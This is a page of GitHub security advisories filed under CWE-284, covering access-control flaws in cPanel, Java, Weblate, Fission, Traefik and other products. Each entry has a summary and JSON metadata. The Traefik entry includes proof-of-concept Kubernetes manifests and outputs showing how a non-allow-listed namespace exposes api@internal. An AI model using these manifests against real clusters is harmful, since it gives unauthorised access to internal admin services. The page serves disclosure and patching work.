Common Weakness Enumeration
CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
7802 vulnerabilities reference this CWE, most recent first.
GHSA-3FVQ-R365-J2CP
Vulnerability from github – Published: 2022-05-24 16:52 – Updated: 2024-04-04 01:29
VLAI
Details
cPanel before 68.0.27 does not enforce ownership during addpkgext and delpkgext WHM API calls (SEC-324).
Severity
{
"affected": [],
"aliases": [
"CVE-2018-20938"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-01T17:15:00Z",
"severity": "MODERATE"
},
"details": "cPanel before 68.0.27 does not enforce ownership during addpkgext and delpkgext WHM API calls (SEC-324).",
"id": "GHSA-3fvq-r365-j2cp",
"modified": "2024-04-04T01:29:16Z",
"published": "2022-05-24T16:52:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20938"
},
{
"type": "WEB",
"url": "https://documentation.cpanel.net/display/CL/68+Change+Log"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3FVX-R9R8-XQ97
Vulnerability from github – Published: 2025-04-15 21:31 – Updated: 2025-11-03 21:33
VLAI
Details
Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: 2D). Supported versions that are affected are Oracle Java SE: 8u441, 8u441-perf, 11.0.26, 17.0.14, 21.0.6, 24; Oracle GraalVM for JDK: 17.0.14, 21.0.6, 24; Oracle GraalVM Enterprise Edition: 20.3.17 and 21.3.13. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 5.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L).
Severity
5.6 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-30698"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-15T21:15:59Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: 2D). Supported versions that are affected are Oracle Java SE: 8u441, 8u441-perf, 11.0.26, 17.0.14, 21.0.6, 24; Oracle GraalVM for JDK: 17.0.14, 21.0.6, 24; Oracle GraalVM Enterprise Edition: 20.3.17 and 21.3.13. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 5.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L).",
"id": "GHSA-3fvx-r9r8-xq97",
"modified": "2025-11-03T21:33:33Z",
"published": "2025-04-15T21:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30698"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00026.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250502-0005"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-3G2C-JGM5-PWJH
Vulnerability from github – Published: 2025-06-23 18:30 – Updated: 2026-07-05 03:31
VLAI
Details
An issue in NCR Terminal Handler v.1.5.1 allows a remote attacker to escalate privileges via a crafted POST request to the grantRolesToUsers, grantRolesToGroups, and grantRolesToOrganization SOAP API component.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2023-47031"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-23T17:15:27Z",
"severity": "CRITICAL"
},
"details": "An issue in NCR Terminal Handler v.1.5.1 allows a remote attacker to escalate privileges via a crafted POST request to the grantRolesToUsers, grantRolesToGroups, and grantRolesToOrganization SOAP API component.",
"id": "GHSA-3g2c-jgm5-pwjh",
"modified": "2026-07-05T03:31:56Z",
"published": "2025-06-23T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47031"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/1f9riw_seicV9MB7pRQJFY-8voxkW8ZYH/view?usp=sharing"
},
{
"type": "WEB",
"url": "http://ncr.com"
},
{
"type": "WEB",
"url": "http://terminal.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3G2F-4RJG-9385
Vulnerability from github – Published: 2026-01-14 16:45 – Updated: 2026-01-14 19:50
VLAI
Summary
Weblate leaks information via screenshots
Details
Impact
The screenshot images were served directly by the HTTP server without proper access control. This could allow an unauthenticated user to access screenshots after guessing their filename.
Patches
- https://github.com/WeblateOrg/weblate/pull/17516
References
Thanks to Lukas May and Michael Leu for reporting this.
Severity
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "weblate"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.15.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-21889"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-14T16:45:07Z",
"nvd_published_at": "2026-01-14T17:16:07Z",
"severity": "LOW"
},
"details": "### Impact\nThe screenshot images were served directly by the HTTP server without proper access control. This could allow an unauthenticated user to access screenshots after guessing their filename.\n\n### Patches\n* https://github.com/WeblateOrg/weblate/pull/17516\n\n### References\n\nThanks to Lukas May and Michael Leu for reporting this.",
"id": "GHSA-3g2f-4rjg-9385",
"modified": "2026-01-14T19:50:09Z",
"published": "2026-01-14T16:45:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-3g2f-4rjg-9385"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21889"
},
{
"type": "WEB",
"url": "https://github.com/WeblateOrg/weblate/pull/17516"
},
{
"type": "WEB",
"url": "https://github.com/WeblateOrg/weblate/commit/a6eb5fd0299780eca286be8ff187dc2d10feec47"
},
{
"type": "PACKAGE",
"url": "https://github.com/WeblateOrg/weblate"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Weblate leaks information via screenshots"
}
GHSA-3G33-6VG6-27M8
Vulnerability from github – Published: 2026-05-21 20:14 – Updated: 2026-06-10 18:41
VLAI
Summary
Fission router exposes /fission-function/<ns>/<name> on its public listener, allowing invocation of any function without an HTTPTrigger
Details
Summary
The Fission router registers an internal-style route — /fission-function/<name> and /fission-function/<ns>/<name> — for every Function object, independent of whether any HTTPTrigger exists for that function. The route was mounted on the same listener as user-defined HTTPTriggers (svc/router, port 8888), so any caller who could reach the router could invoke any function by guessing its metadata.name (and namespace), bypassing the host / path / method / method-allow-list restrictions encoded in HTTPTrigger objects.
Affected component
pkg/router/httpTriggers.go:280-284—internalRouteregistration viautils.UrlForFunction(fn.Name, fn.Namespace), bound to the function handler.
Impact
An external caller who reaches the public router could:
- Invoke functions that the operator intentionally did not publish through an
HTTPTrigger(e.g. functions used only as Kubewatcher / Timer / MessageQueue trigger targets, internal helpers, or sample functions). - Bypass
HTTPTrigger-level restrictions: a function published only onPOST /api/v2/foocould still be invoked asGET /fission-function/<ns>/<name>with arbitrary headers and body. - Enumerate function names by probing the response semantics (404 vs 200 vs 502 from cold start).
In multi-tenant deployments this also crosses tenant boundaries when functions in tenant namespace B are reachable from tenant A's pods (or from anywhere on the internet if the router is ingress-exposed).
Root cause
/fission-function/... was historically used by internal trigger sources (timer, kubewatcher, mqtrigger) that share the cluster network with the router, but the route was registered on the public listener that also serves user HTTPTriggers. The two audiences were never separated.
Fix
Released in v1.23.0:
- PR #3369 (commit
814d232c): the router now runs two listeners — a public listener (port 8888,svc/router) that serves only user-definedHTTPTriggers,/router-healthz, and/_version, and an internal listener (port 8889,svc/router-internal, ClusterIP-only) that exclusively serves/fission-function/<ns>/<name>. The internal listener is wrapped with thepkg/auth/hmac.ServiceVerifierusing theServiceRouterInternalderived key — internal trigger sources sign their requests with a per-service HKDF-derived key from a cluster master secret. Empty master secret falls back to pass-through (preserves compatibility for clusters not yet rotating in a secret). - PR #3365 (commit
0aa24788): added per-serviceNetworkPolicyresources tocharts/fission-all, ensuringsvc/router-internalis only reachable fromkubewatcher,timer,mqtrigger, andmqt-kedapods inside the release namespace. - The internal-listener path itself is still
/fission-function/<ns>/<name>— only its location moved.
Mitigation (until upgrade)
- Apply a
NetworkPolicyto the Fission namespace that allows ingress tosvc/router(port 8888) only from the consuming project's ingress controller, and blocks/fission-function/...at the ingress layer (path-based filter on the ingress). - Avoid exposing the router directly via LoadBalancer/NodePort; front it with an ingress that path-filters
/fission-function/. - Treat function
metadata.nameas not a secret — names should not be the access control boundary.
Severity
9.8 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.22.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/fission/fission"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46614"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-21T20:14:51Z",
"nvd_published_at": "2026-06-10T18:17:05Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe Fission router registers an internal-style route \u2014 `/fission-function/\u003cname\u003e` and `/fission-function/\u003cns\u003e/\u003cname\u003e` \u2014 for every `Function` object, independent of whether any `HTTPTrigger` exists for that function. The route was mounted on the same listener as user-defined `HTTPTrigger`s (`svc/router`, port 8888), so any caller who could reach the router could invoke any function by guessing its `metadata.name` (and namespace), bypassing the host / path / method / method-allow-list restrictions encoded in `HTTPTrigger` objects.\n\n### Affected component\n\n- `pkg/router/httpTriggers.go:280-284` \u2014 `internalRoute` registration via `utils.UrlForFunction(fn.Name, fn.Namespace)`, bound to the function handler.\n\n### Impact\n\nAn external caller who reaches the public router could:\n\n1. Invoke functions that the operator intentionally did not publish through an `HTTPTrigger` (e.g. functions used only as Kubewatcher / Timer / MessageQueue trigger targets, internal helpers, or sample functions).\n2. Bypass `HTTPTrigger`-level restrictions: a function published only on `POST /api/v2/foo` could still be invoked as `GET /fission-function/\u003cns\u003e/\u003cname\u003e` with arbitrary headers and body.\n3. Enumerate function names by probing the response semantics (404 vs 200 vs 502 from cold start).\n\nIn multi-tenant deployments this also crosses tenant boundaries when functions in tenant namespace B are reachable from tenant A\u0027s pods (or from anywhere on the internet if the router is ingress-exposed).\n\n### Root cause\n\n`/fission-function/...` was historically used by internal trigger sources (timer, kubewatcher, mqtrigger) that share the cluster network with the router, but the route was registered on the public listener that also serves user `HTTPTrigger`s. The two audiences were never separated.\n\n### Fix\n\nReleased in [v1.23.0](https://github.com/fission/fission/releases/tag/v1.23.0):\n\n- **PR #3369** (commit `814d232c`): the router now runs **two** listeners \u2014 a public listener (port 8888, `svc/router`) that serves only user-defined `HTTPTrigger`s, `/router-healthz`, and `/_version`, and an internal listener (port 8889, `svc/router-internal`, ClusterIP-only) that exclusively serves `/fission-function/\u003cns\u003e/\u003cname\u003e`. The internal listener is wrapped with the `pkg/auth/hmac.ServiceVerifier` using the `ServiceRouterInternal` derived key \u2014 internal trigger sources sign their requests with a per-service HKDF-derived key from a cluster master secret. Empty master secret falls back to pass-through (preserves compatibility for clusters not yet rotating in a secret).\n- **PR #3365** (commit `0aa24788`): added per-service `NetworkPolicy` resources to `charts/fission-all`, ensuring `svc/router-internal` is only reachable from `kubewatcher`, `timer`, `mqtrigger`, and `mqt-keda` pods inside the release namespace.\n- The internal-listener path itself is still **`/fission-function/\u003cns\u003e/\u003cname\u003e`** \u2014 only its location moved.\n\n### Mitigation (until upgrade)\n\n1. Apply a `NetworkPolicy` to the Fission namespace that allows ingress to `svc/router` (port 8888) only from the consuming project\u0027s ingress controller, and blocks `/fission-function/...` at the ingress layer (path-based filter on the ingress).\n2. Avoid exposing the router directly via LoadBalancer/NodePort; front it with an ingress that path-filters `/fission-function/`.\n3. Treat function `metadata.name` as **not** a secret \u2014 names should not be the access control boundary.",
"id": "GHSA-3g33-6vg6-27m8",
"modified": "2026-06-10T18:41:37Z",
"published": "2026-05-21T20:14:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fission/fission/security/advisories/GHSA-3g33-6vg6-27m8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46614"
},
{
"type": "WEB",
"url": "https://github.com/fission/fission/pull/3365"
},
{
"type": "WEB",
"url": "https://github.com/fission/fission/pull/3369"
},
{
"type": "PACKAGE",
"url": "https://github.com/fission/fission"
},
{
"type": "WEB",
"url": "https://github.com/fission/fission/releases/tag/v1.23.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Fission router exposes /fission-function/\u003cns\u003e/\u003cname\u003e on its public listener, allowing invocation of any function without an HTTPTrigger"
}
GHSA-3G3P-3Q57-722M
Vulnerability from github – Published: 2024-04-09 18:30 – Updated: 2024-04-09 18:30
VLAI
Details
Azure Arc-enabled Kubernetes Extension Cluster-Scope Elevation of Privilege Vulnerability
Severity
6.2 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-28917"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-09T17:15:51Z",
"severity": "MODERATE"
},
"details": "Azure Arc-enabled Kubernetes Extension Cluster-Scope Elevation of Privilege Vulnerability",
"id": "GHSA-3g3p-3q57-722m",
"modified": "2024-04-09T18:30:27Z",
"published": "2024-04-09T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28917"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-28917"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3G4J-XXGR-W4G3
Vulnerability from github – Published: 2022-05-17 03:57 – Updated: 2022-05-17 03:57
VLAI
Details
The Graphics driver in Huawei P8 smartphones with software GRA-TL00 before GRA-TL00C01B230, GRA-CL00 before GRA-CL00C92B230, GRA-CL10 before GRA-CL10C92B230, GRA-UL00 before GRA-UL00C00B230, and GRA-UL10 before GRA-UL10C00B230, and Mate S smartphones with software CRR-TL00 before CRR-TL00C01B160SP01, CRR-UL00 before CRR-UL00C00B160, and CRR-CL00 before CRR-CL00C92B161 allows attackers to cause a denial of service (system crash) or gain privileges via a crafted application with the graphics permission, aka an "interface access control vulnerability," a different vulnerability than CVE-2015-8680.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2015-8307"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-04-07T20:59:00Z",
"severity": "HIGH"
},
"details": "The Graphics driver in Huawei P8 smartphones with software GRA-TL00 before GRA-TL00C01B230, GRA-CL00 before GRA-CL00C92B230, GRA-CL10 before GRA-CL10C92B230, GRA-UL00 before GRA-UL00C00B230, and GRA-UL10 before GRA-UL10C00B230, and Mate S smartphones with software CRR-TL00 before CRR-TL00C01B160SP01, CRR-UL00 before CRR-UL00C00B160, and CRR-CL00 before CRR-CL00C92B161 allows attackers to cause a denial of service (system crash) or gain privileges via a crafted application with the graphics permission, aka an \"interface access control vulnerability,\" a different vulnerability than CVE-2015-8680.",
"id": "GHSA-3g4j-xxgr-w4g3",
"modified": "2022-05-17T03:57:21Z",
"published": "2022-05-17T03:57:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8307"
},
{
"type": "WEB",
"url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20160104-04-smartphone-en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3G58-GH82-FRFM
Vulnerability from github – Published: 2023-09-11 21:30 – Updated: 2024-04-04 07:35
VLAI
Details
Dover Fueling Solutions MAGLINK LX Web Console Configuration versions 2.5.1, 2.5.2, 2.5.3, 2.6.1, 2.11, 3.0, 3.2, and 3.3
could allow a guest user to elevate to admin privileges.
Severity
8.8 (High)
{
"affected": [],
"aliases": [
"CVE-2023-36497"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-305"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-11T20:15:09Z",
"severity": "HIGH"
},
"details": "Dover Fueling Solutions MAGLINK LX Web Console Configuration versions 2.5.1, 2.5.2, 2.5.3, 2.6.1, 2.11, 3.0, 3.2, and 3.3 \n\ncould allow a guest user to elevate to admin privileges.",
"id": "GHSA-3g58-gh82-frfm",
"modified": "2024-04-04T07:35:59Z",
"published": "2023-09-11T21:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36497"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-250-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3G6V-2R68-PRFC
Vulnerability from github – Published: 2026-06-17 14:01 – Updated: 2026-06-17 14:01
VLAI
Summary
Traefik: Kubernetes Gateway crossProviderNamespaces bypass allows HTTPRoute outside the allowlist to expose internal Traefik services
Details
Summary
There is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the crossProviderNamespaces allowlist. For HTTPRoute rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target backendRef.namespace instead of the route's own namespace. As a result, an HTTPRoute created in a namespace that is not allow-listed can reference a cross-provider TraefikService such as api@internal, dashboard@internal or rest@internal by pointing backendRef.namespace at an allow-listed namespace covered by a Gateway API ReferenceGrant, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted HTTPRoute and a matching ReferenceGrant from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.21
- https://github.com/traefik/traefik/releases/tag/v3.7.5
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description # Summary The Kubernetes Gateway provider's `crossProviderNamespaces` option is documented as restricting which Gateway API route namespaces may declare `TraefikService` backendRefs. For `HTTPRoute` rules with multiple backendRefs, Traefik checks this allowlist against `backendRef.namespace` instead of the `HTTPRoute` namespace. A route in a namespace that is not allow-listed can therefore add `api@internal` to the generated WRR service by setting `backendRef.namespace` to an allow-listed namespace, as long as a normal Gateway API `ReferenceGrant` permits that cross-namespace reference. Verified affected versions: - `v3.7.1` (`fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`) - current source/master tested by me (`29406d42898547f1ffabd904f66af06c212740cf`) # Expected Behavior With:providers:
kubernetesGateway:
crossProviderNamespaces:
- trusted
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trusted
[api@internal attacker-whoami-http-80]
List of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.
those references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.
["ns-a"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.
CrossProviderNamespaces []string `description:"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references." ...`
external-repro-kind/kind-config.yaml
external-repro-kind/traefik-v371.yaml
external-repro-kind/gateway-exploit.yaml
external-repro-kind/run-kind-repro.sh
./external-repro-kind/run-kind-repro.sh
--api=true
--api.dashboard=true
--api.insecure=false
--providers.kubernetesgateway=true
--providers.kubernetesgateway.crossprovidernamespaces=trusted
127.0.0.1:18080 -> kind NodePort -> Traefik web entrypoint
apiVersion: gateway.networking.k8s.io/v1beta1
kind: ReferenceGrant
metadata:
name: allow-attacker-to-traefikservice
namespace: trusted
spec:
from:
- group: gateway.networking.k8s.io
kind: HTTPRoute
namespace: attacker
to:
- group: traefik.io
kind: TraefikService
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: single-backend-control
namespace: attacker
spec:
parentRefs:
- name: shared-gateway
namespace: default
hostnames:
- control.localhost
rules:
- matches:
- path:
type: PathPrefix
value: /api
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trusted
port: 80
weight: 1
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: mixed-backend-bypass
namespace: attacker
spec:
parentRefs:
- name: shared-gateway
namespace: default
hostnames:
- exploit.localhost
rules:
- matches:
- path:
type: PathPrefix
value: /api
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trusted
port: 80
weight: 1000000
- group: ""
kind: Service
name: whoami
port: 80
weight: 1
control: single-backend route from attacker namespace should not expose api@internal
control status: 404
404 page not found
exploit: mixed backendRef route from attacker namespace exposes api@internal
exploit returned Traefik API JSON
api@internal status: enabled
weighted members:
api@internal 1000000
attacker-whoami-http-80 1
single-backend-control:
Accepted=True
ResolvedRefs=False
Reason=RefNotPermitted
Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace "attacker" is not in crossProviderNamespaces
mixed-backend-bypass:
Accepted=True
ResolvedRefs=True
cp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/
cp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/
go test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v
Messages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]
=== RUN TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl
--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl
case len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef):
if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {
namespace := route.Namespace
if backendRef.Namespace != nil && *backendRef.Namespace != "" {
namespace = string(*backendRef.Namespace)
}
...
name, service, err := p.loadHTTPBackendRef(namespace, backendRef)
if *backendRef.Kind == "TraefikService" && strings.Contains(string(backendRef.Name), "@") {
if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {
Host: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized
Host: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not Found
Host: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK
service: api@internal
Host: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK
weighted services:
api@internal 1000
echo-svc 1
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.20"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.11.50"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.7.34"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.7.4"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0-ea.1"
},
{
"fixed": "3.7.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54761"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T14:01:48Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s Kubernetes Gateway provider affecting the `crossProviderNamespaces` allowlist. For `HTTPRoute` rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target `backendRef.namespace` instead of the route\u0027s own namespace. As a result, an `HTTPRoute` created in a namespace that is not allow-listed can reference a cross-provider `TraefikService` such as `api@internal`, `dashboard@internal` or `rest@internal` by pointing `backendRef.namespace` at an allow-listed namespace covered by a Gateway API `ReferenceGrant`, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted `HTTPRoute` and a matching `ReferenceGrant` from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.21\n- https://github.com/traefik/traefik/releases/tag/v3.7.5\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Summary\n\nThe Kubernetes Gateway provider\u0027s `crossProviderNamespaces` option is documented as restricting which Gateway API route namespaces may declare `TraefikService` backendRefs.\n\nFor `HTTPRoute` rules with multiple backendRefs, Traefik checks this allowlist against `backendRef.namespace` instead of the `HTTPRoute` namespace. A route in a namespace that is not allow-listed can therefore add `api@internal` to the generated WRR service by setting `backendRef.namespace` to an allow-listed namespace, as long as a normal Gateway API `ReferenceGrant` permits that cross-namespace reference.\n\nVerified affected versions:\n\n- `v3.7.1` (`fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`)\n- current source/master tested by me (`29406d42898547f1ffabd904f66af06c212740cf`)\n\n# Expected Behavior\n\nWith:\n\n```yaml\nproviders:\n kubernetesGateway:\n crossProviderNamespaces:\n - trusted\n```\n\nonly Gateway API routes whose own namespace is `trusted` should be allowed to declare `TraefikService` backendRefs such as `api@internal`, `dashboard@internal`, or `rest@internal`.\n\nAn `HTTPRoute` in namespace `attacker` should not be able to expose an internal Traefik service by setting:\n\n```yaml\nbackendRefs:\n - group: traefik.io\n kind: TraefikService\n name: api@internal\n namespace: trusted\n```\n\n# Actual Behavior\n\nFor an `HTTPRoute` in namespace `attacker` with two backendRefs, Traefik generates a WRR service containing:\n\n```text\n[api@internal attacker-whoami-http-80]\n```\n\neven though `crossProviderNamespaces` only allows `trusted`.\n\n# Threat Model\n\nThis does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider\u0027s `crossProviderNamespaces` policy: namespaces outside the allowlist should not be able to declare cross-provider `TraefikService` backendRefs.\n\nThe precondition is a Gateway API environment where an untrusted or less-trusted namespace can create `HTTPRoute` objects accepted by a Gateway, and a namespace in the `crossProviderNamespaces` allowlist has a matching `ReferenceGrant`. `ReferenceGrant` should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik\u0027s separate provider-level namespace allowlist for cross-provider internal services.\n\nA Gateway API 